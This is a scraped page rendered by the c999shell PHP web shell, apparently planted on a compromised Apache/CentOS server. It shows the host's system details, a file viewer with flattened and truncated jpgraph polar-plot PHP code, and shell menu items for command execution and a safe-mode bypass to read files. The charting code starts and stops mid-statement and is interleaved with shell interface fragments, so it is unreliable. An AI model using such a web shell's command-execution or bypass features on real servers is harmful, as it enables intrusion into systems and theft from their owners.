Software: Apache/2.2.3 (CentOS). PHP/5.1.6 uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44 uid=48(apache) gid=48(apache) groups=48(apache) Safe-mode: OFF (not secure) /var/www/html/manage/jpgraph/src/ drwxr-xr-x |
Viewing file: jpgraph_polar.php (22.55 KB) -rw-r--r-- Select action/file-type: (+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) | numpoints = $n/2; $this->coord = $aData; $this->mark = new PlotMark(); } function SetWeight($aWeight) { $this->iLineWeight = $aWeight; } function SetColor($aColor){ $this->iColor = $aColor; } function SetFillColor($aColor){ $this->iFillColor = $aColor; } function Max() { $m = $this->coord[1]; $i=1; while( $i < $this->numpoints ) { $m = max($m,$this->coord[2*$i+1]); ++$i; } return $m; } // Set href targets for CSIM function SetCSIMTargets($aTargets,$aAlts=null) { $this->csimtargets=$aTargets; $this->csimalts=$aAlts; } // Get all created areas function GetCSIMareas() { return $this->csimareas; } function SetLegend($aLegend,$aCSIM="",$aCSIMAlt="") { $this->legend = $aLegend; $this->legendcsimtarget = $aCSIM; $this->legendcsimalt = $aCSIMAlt; } // Private methods function Legend(&$aGraph) { $color = $this->iColor ; if( $this->legend != "" ) { if( $this->iFillColor!='' ) { $color = $this->iFillColor; $aGraph->legend->Add($this->legend,$color,$this->mark,0, $this->legendcsimtarget,$this->legendcsimalt); } else { $aGraph->legend->Add($this->legend,$color,$this->mark,$this->line_style, $this->legendcsimtarget,$this->legendcsimalt); } } } function Stroke($img,$scale) { $i=0; $p=array(); $this->csimareas=''; while($i < $this->numpoints) { list($x1,$y1) = $scale->PTranslate($this->coord[2*$i],$this->coord[2*$i+1]); $p[2*$i] = $x1; $p[2*$i+1] = $y1; if( isset($this->csimtargets[$i]) ) { $this->mark->SetCSIMTarget($this->csimtargets[$i]); $this->mark->SetCSIMAlt($this->csimalts[$i]); $this->mark->SetCSIMAltVal($this->coord[2*$i], $this->coord[2*$i+1]); $this->mark->Stroke($img,$x1,$y1); $this->csimareas .= $this->mark->GetCSIMAreas(); } else $this->mark->Stroke($img,$x1,$y1); ++$i; } if( $this->iFillColor != '' ) { $img->SetColor($this->iFillColor); $img->FilledPolygon($p); } $img->SetLineWeight($this->iLineWeight); $img->SetColor($this->iColor); $img->Polygon($p,$this->iFillColor!=''); } } //-------------------------------------------------------------------------- // class PolarAxis //-------------------------------------------------------------------------- class PolarAxis extends Axis { var $angle_step=15,$angle_color='lightgray',$angle_label_color='black'; var $angle_fontfam=FF_FONT1,$angle_fontstyle=FS_NORMAL,$angle_fontsize=10; var $angle_fontcolor = 'navy'; var $gridminor_color='lightgray',$gridmajor_color='lightgray'; var $show_minor_grid = false, $show_major_grid = true ; var $show_angle_mark=true, $show_angle_grid=true, $show_angle_label=true; var $angle_tick_len=3, $angle_tick_len2=3, $angle_tick_color='black'; var $show_angle_tick=true; var $radius_tick_color='black'; function PolarAxis(&$img,&$aScale) { parent::Axis($img,$aScale); } function ShowAngleDegreeMark($aFlg=true) { $this->show_angle_mark = $aFlg; } function SetAngleStep($aStep) { $this->angle_step=$aStep; } function HideTicks($aFlg=true,$aAngleFlg=true) { parent::HideTicks($aFlg,$aFlg); $this->show_angle_tick = !$aAngleFlg; } function ShowAngleLabel($aFlg=true) { $this->show_angle_label = $aFlg; } function ShowGrid($aMajor=true,$aMinor=false,$aAngle=true) { $this->show_minor_grid = $aMinor; $this->show_major_grid = $aMajor; $this->show_angle_grid = $aAngle ; } function SetAngleFont($aFontFam,$aFontStyle=FS_NORMAL,$aFontSize=10) { $this->angle_fontfam = $aFontFam; $this->angle_fontstyle = $aFontStyle; $this->angle_fontsize = $aFontSize; } function SetColor($aColor,$aRadColor='',$aAngleColor='') { if( $aAngleColor == '' ) $aAngleColor=$aColor; parent::SetColor($aColor,$aRadColor); $this->angle_fontcolor = $aAngleColor; } function SetGridColor($aMajorColor,$aMinorColor='',$aAngleColor='') { if( $aMinorColor == '' ) $aMinorColor = $aMajorColor; if( $aAngleColor == '' ) $aAngleColor = $aMajorColor; $this->gridminor_color = $aMinorColor; $this->gridmajor_color = $aMajorColor; $this->angle_color = $aAngleColor; } function SetTickColors($aRadColor,$aAngleColor='') { $this->radius_tick_color = $aRadColor; $this->angle_tick_color = $aAngleColor; } // Private methods function StrokeGrid($pos) { $x = round($this->img->left_margin + $this->img->plotwidth/2); $this->scale->ticks->Stroke($this->img,$this->scale,$pos); // Stroke the minor arcs $pmin = array(); $p = $this->scale->ticks->ticks_pos; $n = count($p); $i = 0; $this->img->SetColor($this->gridminor_color); while( $i < $n ) { $r = $p[$i]-$x+1; $pmin[]=$r; if( $this->show_minor_grid ) { $this->img->Circle($x,$pos,$r); } $i++; } $limit = max($this->img->plotwidth,$this->img->plotheight)*1.4 ; while( $r < $limit ) { $off = $r; $i=1; $r = $off + round($p[$i]-$x+1); while( $r < $limit && $i < $n ) { $r = $off+$p[$i]-$x; $pmin[]=$r; if( $this->show_minor_grid ) { $this->img->Circle($x,$pos,$r); } $i++; } } // Stroke the major arcs if( $this->show_major_grid ) { // First determine how many minor step on // every major step. We have recorded the minor radius // in pmin and use these values. This is done in order // to avoid rounding errors if we were to recalculate the // different major radius. $pmaj = $this->scale->ticks->maj_ticks_pos; $p = $this->scale->ticks->ticks_pos; if( $this->scale->name == 'lin' ) { $step=round(($pmaj[1] - $pmaj[0])/($p[1] - $p[0])); } else { $step=9; } $n = round(count($pmin)/$step); $i = 0; $this->img->SetColor($this->gridmajor_color); $limit = max($this->img->plotwidth,$this->img->plotheight)*1.4 ; $off = $r; $i=0; $r = $pmin[$i*$step]; while( $r < $limit && $i < $n ) { $r = $pmin[$i*$step]; $this->img->Circle($x,$pos,$r); $i++; } } // Draw angles if( $this->show_angle_grid ) { $this->img->SetColor($this->angle_color); $d = max($this->img->plotheight,$this->img->plotwidth)*1.4 ; $a = 0; $p = $this->scale->ticks->ticks_pos; $start_radius = $p[1]-$x; while( $a < 360 ) { if( $a == 90 |
:: Command execute :: | |
:: Shadow's tricks :D :: | |
Useful Commands
|
:: Preddy's tricks :D :: | |
Php Safe-Mode Bypass (Read Files)
|
--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0064 ]-- |